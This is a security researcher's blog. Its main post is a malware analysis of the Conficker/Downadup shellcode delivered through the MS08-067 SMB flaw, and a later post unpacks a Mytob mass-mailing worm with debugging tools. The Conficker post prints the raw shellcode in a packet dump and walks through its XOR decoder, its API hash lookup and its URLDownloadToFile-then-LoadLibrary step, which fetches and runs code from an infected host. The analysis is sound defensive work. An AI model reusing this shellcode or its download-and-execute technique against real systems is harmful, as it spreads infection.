Sunday, February 01, 2009

Shellcode (x73 x68 x65 x6C x6C x63 x6F x64 x65)

Shellcode is fun to analyze and it is interesting to see what attackers throw into the mix to make finding the payload harder. Recently I was taking a look at the conficker/downadup shellcode that is used in conjunction with the MS08-067 vulnerability. First we start with the packet data

17:18:12.869891 IP (tos 0x0, ttl 128, id 164, offset 0, flags [DF], proto: TCP (

6), length: 832) > P, cksum 0x41fa (corr

ect), 1136:1928(792) ack 927 win 63314

0x0000: 4500 0340 00a4 4000 8006 8540 c0a8 f880 E..@..@....@....

0x0010: c0a8 f801 0418 01bd 836c c50d d4ef d3fb .........l......

0x0020: 5018 f752 41fa 0000 0000 0314 ff53 4d42 P..RA........SMB

0x0030: 2500 0000 0018 07c8 0000 0000 0000 0000 %...............

0x0040: 0000 0000 0008 4004 0008 8000 1000 00c0 ......@.........

0x0050: 0200 0000 0400 0000 0000 0000 0000 0000 ................

0x0060: 0054 00c0 0254 0002 0026 0000 40d1 0200 .T...T...&..@...

0x0070: 5c00 5000 4900 5000 4500 5c00 0000 0000 \.P.I.P.E.\.....

0x0080: 0500 0003 1000 0000 c002 0000 0100 0000 ................

0x0090: a802 0000 0000 1f00 2c15 ce00 0600 0000 ........,.......

0x00a0: 0000 0000 0600 0000 4800 4800 4400 4800 ........H.H.D.H.

0x00b0: 4800 0000 3101 0000 0000 0000 3101 0000 H...1.......1...

0x00c0: 5c00 7074 7a55 6751 515a 624b 7854 6374 \.ptzUgQQZbKxTct

0x00d0: 474d 5046 426f 6e4c 4655 7271 4343 6d44 GMPFBonLFUrqCCmD

0x00e0: 624a 544b 4e79 6749 4770 4e45 5246 7756 bJTKNygIGpNERFwV

0x00f0: 5878 416a 4266 6242 5554 716a 5143 4e74 XxAjBfbBUTqjQCNt

0x0100: 5a65 4f73 4b79 5847 7a58 7448 6641 7276 ZeOsKyXGzXtHfArv

0x0110: 4572 615a 786b 627a 5868 5974 4459 7245 EraZxkbzXhYtDYrE

0x0120: 7961 6e48 676d e8ff ffff ffc1 5e8d 4e10 yanHgm......^.N. <-Shellcode Start

0x0130: 8031 c441 6681 3945 5075 f5ae c69d a04f .1.Af.9EPu.....O

0x0140: 85ea 4f84 c84f 84d8 4fc4 4f9c cc49 7258 ..O..O..O.O..IrX

0x0150: c4c4 c42c edc4 c4c4 9426 3c4f 3892 3bd3 ...,.....&

0x0160: 5747 02c3 2cdc c4c4 c4f7 1696 964f 08a2 WG..,........O..

0x0170: 03c5 bcea 953b b3c0 9696 9592 963b f33b .....;.......;.;

0x0180: 2469 9592 514f 8ff8 4f88 cfbc c70f f732 $i..QO..O......2

0x0190: 49d0 77c7 95e4 4fd6 c717 f704 0504 c3f6 I.w...O.........

0x01a0: c686 44fe c4b1 31ff 01b0 c282 ffb5 dcb6 ..D...1.........

0x01b0: 1b4f 95e0 c717 cb73 d0b6 4f85 d8c7 074f .O.....s..O....O

0x01c0: c054 c707 9a9d 07a4 664e b2e2 4468 0cb1 .T......fN..Dh..

0x01d0: b6a8 a9ab aac4 5de7 991d acb0 b0b4 feeb ......].........

0x01e0: ebf5 fdf6 eaf5 f2fc eaf6 f0fc eaf5 f6fc ................

0x01f0: fefc f5f5 fdeb a6a1 a7a1 b6c4 4550 7257 ............EPrW

0x0200: 786f 5741 7659 4161 6e78 7650 7842 666e xoWAvYAanxvPxBfn

0x0210: 5541 4d57 7267 4e6a 7077 6650 6f48 587a UAMWrgNjpwfPoHXz

0x0220: 6567 6868 7854 6949 4564 774a 5369 764f eghhxTiIEdwJSivO

0x0230: 6352 505a 4d75 7946 7771 6245 694b 777a cRPZMuyFwqbEiKwz

0x0240: 5972 4768 7046 6d4e 6a6d 5371 4264 4c57 YrGhpFmNjmSqBdLW

0x0250: 6e4d 4b64 6544 434d 696e 4c6c 4e79 7342 nMKdeDCMinLlNysB

0x0260: 456b 6272 6c6b 7163 437a 5854 6e55 4f5a EkbrlkqcCzXTnUOZ

0x0270: 4256 4c69 5547 686b 6166 6242 5961 554b BVLiUGhkafbBYaUK

0x0280: 506e 4165 6849 5749 4e61 4f75 6f77 7947 PnAehIWINaOuowyG

0x0290: 7857 6f63 436d 714b 5651 426a 636d 586d xWocCmqKVQBjcmXm

0x02a0: 5453 5063 546c 4242 4d4a 654e 7058 5757 TSPcTlBBMJeNpXWW

0x02b0: 617a 5257 6772 5c00 2e00 2e00 5c00 2e00 azRWgr\.....\...

0x02c0: 2e00 5c00 4100 5400 4f00 5a00 4d00 5500 ..\.A.T.O.Z.M.U.

0x02d0: 4500 0804 0200 e216 896f 454f 575a 27f7 E........oEOWZ'.

0x02e0: 886f 4958 484a 524f 5843 5842 5957 5a58 .oIXHJROXCXBYWZX

0x02f0: 4f4e 4c4b 524f 5046 4746 424c 5256 5143 ONLKROPFGFBLRVQC

0x0300: 5752 4f51 554a 544e 4659 474a 924a 24b6 WROQUJTNFYGJ.J$.

0x0310: 9703 f537 eb62 5159 5743 5357 4a42 4b50 ...7.bQYWCSWJBKP

0x0320: 0000 7700 1f03 0000 0200 0000 0000 0000 ..w.............

0x0330: 0200 0000 5c00 0000 0101 0000 0000 0000 ....\...........

This is the server service packet with the path that contains the overflow and shellcode:

Finding the beginning of the shellcode can at times be a bit tricky. We know it is in here, but there is no clear beginning. The first thing I look for is a 0xEB followed by a small value i.e. a short “Jump” instruction. Here, there is no clear sign, and tracing all instances of 0xEB in IDA Pro does not yield any valid code. The thing that caught my eye was in the middle at offset 0x0134 a 0xE8 0xFF etc… This looks like a “Call” instruction to a previous address. We’ll start here.

Attempting to disassemble at 0x0134 yeilds:

seg000:00000134 loc_134: ; CODE XREF: seg000:loc_134p

seg000:00000134 call near ptr loc_134+4

seg000:00000139 rcr dword ptr [esi-73h], 4Eh

seg000:0000013D adc [eax+6641C431h], al

seg000:00000143 cmp dword ptr [ecx], 0F5755045h

seg000:00000149 scasb

seg000:0000014A mov byte ptr [ebp-157AB060h], 4Fh ; 'O'

seg000:00000151 test cl, al

seg000:00000153 dec edi

seg000:00000154 test bl, al

seg000:00000156 dec edi

seg000:00000157 les ecx, [edi-64h]

seg000:0000015A int 3 ; Trap to Debugger

seg000:0000015B dec ecx

seg000:0000015C jb short loc_1B6

The first call is a call to an address in itself? This is strange?

call near ptr loc_134+4

This calls 0x0138, and the next instruction is at 0x139? Let’s right click and undefined and start at 0x138:

seg000:00000138 inc ecx

seg000:0000013A pop esi

seg000:0000013B lea ecx, [esi+10h]


seg000:0000013E loc_13E: ; CODE XREF: seg000:00000147j

seg000:0000013E xor byte ptr [ecx], 0C4h

seg000:00000141 inc ecx

seg000:00000142 cmp word ptr [ecx], 5045h

seg000:00000147 jnz short loc_13E

seg000:00000149 scasb

seg000:0000014A mov byte ptr [ebp-157AB060h], 4Fh ; 'O'

seg000:00000151 test cl, al

seg000:00000153 dec edi

seg000:00000154 test bl, al

seg000:00000156 dec edi

seg000:00000157 les ecx, [edi-64h]

seg000:0000015A int 3 ; Trap to Debugger

This is a bit better, so the call into itself at 0x138 executes an “inc ecx” which is inconsequential. The current address on the stack is popped into ESI and the address + 0x10 is loaded into ECX and passed to an XOR loop starting at 0x13E. (Highlighted) This routine will XOR each byte starting at 0x149 until a (0x45 0x50) is located, then the loop will exit. Let’s see what happens when the rest of this code is XOR’d:

seg000:0000013E loc_13E: ; CODE XREF: seg000:00000147j

seg000:0000013E xor byte ptr [ecx], 0C4h

seg000:00000141 inc ecx

seg000:00000142 cmp word ptr [ecx], 5045h

seg000:00000147 jnz short loc_13E

seg000:00000149 push 2

seg000:0000014B pop ecx

seg000:0000014C mov eax, fs:[ecx+2Eh] ; fs:[30]

seg000:00000150 mov eax, [eax+0Ch]

seg000:00000153 mov eax, [eax+1Ch]

seg000:00000156 mov eax, [eax]

seg000:00000158 mov ebx, [eax+8]

seg000:0000015B lea esi, [esi+9Ch] ; 1d5

The new code, looks much cleaner now, and it is clear that it is now looking up the base address of kernel32.dll in the PEB at 0x14C {fs:[30]}.

If we look further down where the match for the 0x45 0x50 stopped the XOR loop we see the name of a module to be loaded, a URL and several chunks of data that are hashes used to look up API calls.

Commented disassembly:

seg000:000001D5 dd 768AA260h ; ExitThread

seg000:000001D9 dd 0C8AC8026h ; LoadLibrary

seg000:000001DD aUrlmon db 'urlmon'

seg000:000001E3 db 0

seg000:000001E4 dd 0D95D2399h ; URLDownloadToFileA

seg000:000001E8 aHttp192_168_24 db 'http://{infectedIP}:8119/becer'

seg000:00000209 db 0

seg000:0000020A db 45h

seg000:0000020B db 50h ; P <-End of XOR loop

Once these hashes are matched to the exported API calls in kernel32 and urlmon, the shellcode then passes the deofuscated URL to URLDownloadToFile() via a jump.

seg000:00000172 call HashLookup

seg000:00000177 xor edx, edx

seg000:00000179 push edx ; 0

seg000:0000017A push edx

seg000:0000017B mov ecx, esp

seg000:0000017D mov word ptr [ecx], '.x'

seg000:00000182 push ecx ; "x." for LoadLibrary

seg000:00000183 push dword ptr [edi+4]

seg000:00000186 push edx ; lpfnCB = 0

seg000:00000187 push edx ; dwReserved = 0

seg000:00000188 push ecx ; szFileName = "x."

seg000:00000189 push esi ; szURL 1e8

seg000:0000018A push edx ; pCaller = 0

seg000:0000018B push dword ptr [edi] ; Return Address LoadLibrary

seg000:0000018D jmp eax ; URLDownloadToFile

-- = URLDownloadToFile instructions

-- = LoadLibrary instructions

The interesting thing here is that before the jump to “URLDownloadToFile” the return address for LoadLibrary is pushed to the stack. This means that after the file “becer” is downloaded from the infected machine and copied into the file “x.” it will return to LoadLibrary which will load the file “x.” into the exploited process thus infecting the system.

All in all this is a simple example of how shellcode gets its job done. This instance was interesting in that it has a few tricks and interesting turns that an analyst can learn from.

Saturday, October 04, 2008

IDA Bochs!

Just when I thought that

Monday, March 24, 2008

6 IT Security Quirks

Ok so I've been tagged, and I decided to do an IT Security quirky list;

Here are the rules:

1) Link to the person that tagged you.
2) Post the rules on your blog.
3) Share six non-important things/habits/quirks about yourself.
4) Tag at least 3 people at the end of your post and link to their blogs.
5) Let each person know they have been tagged by leaving a comment on their blog.
6) Let the fun begin!

1) I need to have some flavor of Unix running on my network at all times, preferably sniffing traffic and running snort.

2) I am willing to sacrifice the speed of my Internet connection so I can run a sniffer, i.e. using a 10 meg hub and plugging my wireless, router, and all my systems into it.

3) Whenever I enter someone else’s house I immediately start to figure out the best way to PWN them.

4) I dislike M$ Windows, however I love using it to tear binaries apart.

5) I have collected a million hand-me-down laptops and PC’s, and still I find myself not having enough computers.

6) I feel the answer to all security related issues is “Just run FreeBSD”!

There...done, now time to tag.

Saturday, December 29, 2007

Quick and Dirty RE

While investigating a suspicious downloaded executable I came to employ some quick reverse engineering tricks to identify the purpose of the unknown binary. The initial binary was called "macromedia-flashplayerupdate.exe", ....fishy!!!! At the time a virus scan of the binary showed no identification.

I first started by running the binary on a test system using InCtrl5, a Windows based installation logger. This showed me that the binary dropped a secondary EXE called "aspimgr.exe" and installed it as a service.

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\aspimgr "ImagePath"
Data: C:\WINDOWS\system32\aspimgr.exe
Files added: 6
c:\Documents and Settings\user\Local Settings\Temp\_check32.bat
Date: 12/29/2007 9:58 PM
Size: 181 bytes
Date: 8/18/2004 11:00 AM
Size: 63 bytes
Date: 8/18/2004 11:00 AM
Size: 12 bytes
Date: 12/29/2007 9:58 PM
Size: 10,858 bytes
Date: 12/29/2007 9:58 PM
Size: 7,590 bytes
Date: 12/29/2007 9:58 PM
Size: 65,536 bytes

Files deleted: 1

c:\Documents and Settings\user\Desktop\macromedia-flashplayerupdate.exe
Date: 12/29/2007 9:57 PM
Size: 49,152 bytes

A quick strings look at the dropped EXE showed no significant information, and a run through PEiD did not show signs of a packer. This activity is obviously suspicious and most likely malicious, however a deeper understanding of the binaries functionality is crutial to responding to any incident, so here we go!

Although no useful strings were uncovered in the initial binary, I used a quick trick using IDA Pro and Ollydbg.

Ollydbg has a setting to break on newly loaded DLL's. Pres Alt+O and select the "Events" tab and check "Break on new module (DLL)".

Let the binary run and it will break each time a new DLL is loaded. This is a trial and error procedure, however I like to stop and dump process memory when interesting DLL's are loaded such as ws2_32.dll and shell32.dll.

From here we can use LordPE to dump the memory of the running process by locating the process in the list and right clicking and selecting "dump full". ImportREC then can be used to reconstruct the IAT, as shown below.


And importREC:

This newly constructed binary, though not perfect, can be loaded into IDA Pro for analysis. Here we can see a disassembly excerpt of the same section in the pre and post dumped file:


.text:004037FB sub_4037FB      proc near               ; CODE XREF: _main+1Ep
.text:004037FB var_4           = dword ptr -4
.text:004037FB           push    offset asc_40E2B0 ; "H"
.text:00403800           call    sub_401866
.text:00403805           mov     [esp+4+var_4], offset aV_2 ; "V"
.text:0040380C           call    sub_401866
.text:00403811           mov     [esp+4+var_4], offset unk_40E2C8
.text:00403818           call    sub_401866
.text:0040381D           mov     [esp+4+var_4], offset asc_40E2D4 ; "["
.text:00403824           call    sub_401866
.text:00403829           mov     [esp+4+var_4], offset unk_40E2DC
.text:00403830           call    sub_401866
.text:00403835           mov     [esp+4+var_4], offset aU_0 ; "u"
.text:0040383C           call    sub_401866
.text:00403841           mov     [esp+4+var_4], offset asc_40E314 ; "l"
.text:00403848           call    sub_401866
.text:0040384D           mov     [esp+4+var_4], offset asc_40E344 ; "l"
.text:00403854           call    sub_401866
.text:00403859           mov     [esp+4+var_4], offset unk_40E36C
.text:00403860           call    sub_401866
.text:00403865           mov     [esp+4+var_4], offset unk_40E398
.text:0040386C           call    sub_401866
.text:00403871           mov     [esp+4+var_4], offset unk_40E3B8
.text:00403878           call    sub_401866
.text:0040387D           mov     [esp+4+var_4], offset unk_40E3E0

And Post:

.text:004037FB sub_4037FB      proc near               ; CODE XREF: _main+1Ep
.text:004037FB var_4           = dword ptr -4
.text:004037FB           push    offset unk_40E2B0
.text:00403800           call    sub_401866
.text:00403805           mov     [esp+4+var_4], offset unk_40E2BC
.text:0040380C           call    sub_401866
.text:00403811           mov     [esp+4+var_4], offset unk_40E2C8
.text:00403818           call    sub_401866
.text:0040381D           mov     [esp+4+var_4], offset a@ ; "@"
.text:00403824           call    sub_401866
.text:00403829           mov     [esp+4+var_4], offset unk_40E2DC
.text:00403830           call    sub_401866
.text:00403835           mov     [esp+4+var_4], offset cp ; ""
.text:0040383C           call    sub_401866
.text:00403841           mov     [esp+4+var_4], offset aWww_yahoo_com ; ""
.text:00403848           call    sub_401866
.text:0040384D           mov     [esp+4+var_4], offset aWww_web_de ; ""
.text:00403854           call    sub_401866
.text:00403859           mov     [esp+4+var_4], offset a192_168_32_2 ; ""
.text:00403860           call    sub_401866
.text:00403865           mov     [esp+4+var_4], offset a127_0_0_1 ; ""
.text:0040386C           call    sub_401866
.text:00403871           mov     [esp+4+var_4], offset aCBugs_txt ; "c:\\bugs.txt"
.text:00403878           call    sub_401866
.text:0040387D           mov     [esp+4+var_4], offset aCLogevents_log ; "c:\\logEvents.log"

From here we get file names, hard coded IP's and domain names and URL's. Further down we can see the following strings:

.text:004039F1                 mov     [esp+4+var_4], offset aBcc ; "Bcc:"
.text:004039F8                 call    sub_401866
.text:004039FD                 mov     [esp+4+var_4], offset aSubject ; "Subject:"

.text:00404009 mov [esp+4+var_4], offset aGoldCerts ; "gold-certs"
.text:00404010                 call    sub_401866
.text:00404015                 mov     [esp+4+var_4], offset aThe_bat ; "the.bat"
.text:0040401C                 call    sub_401866
.text:00404021                 mov     [esp+4+var_4], offset aPage ; "page"
.text:00404028                 call    sub_401866
.text:0040402D                 mov     [esp+4+var_4], offset aAdmin ; "admin"
.text:00404034                 call    sub_401866
.text:00404039                 mov     [esp+4+var_4], offset aSupport ; "support"

A mass mailer! A quick Google search and we learn that we are dealing with a Mytob type mass mailing worm. This technique was effective for this particular malware, and from here we can quickly identify additional infected hosts and respond accordingly. We simply let the malware decrypt it's own strings and stuff them back into the program....and then dump!!! All in all this initial analysis only took a total of only 10 minutes, so response time remains quick.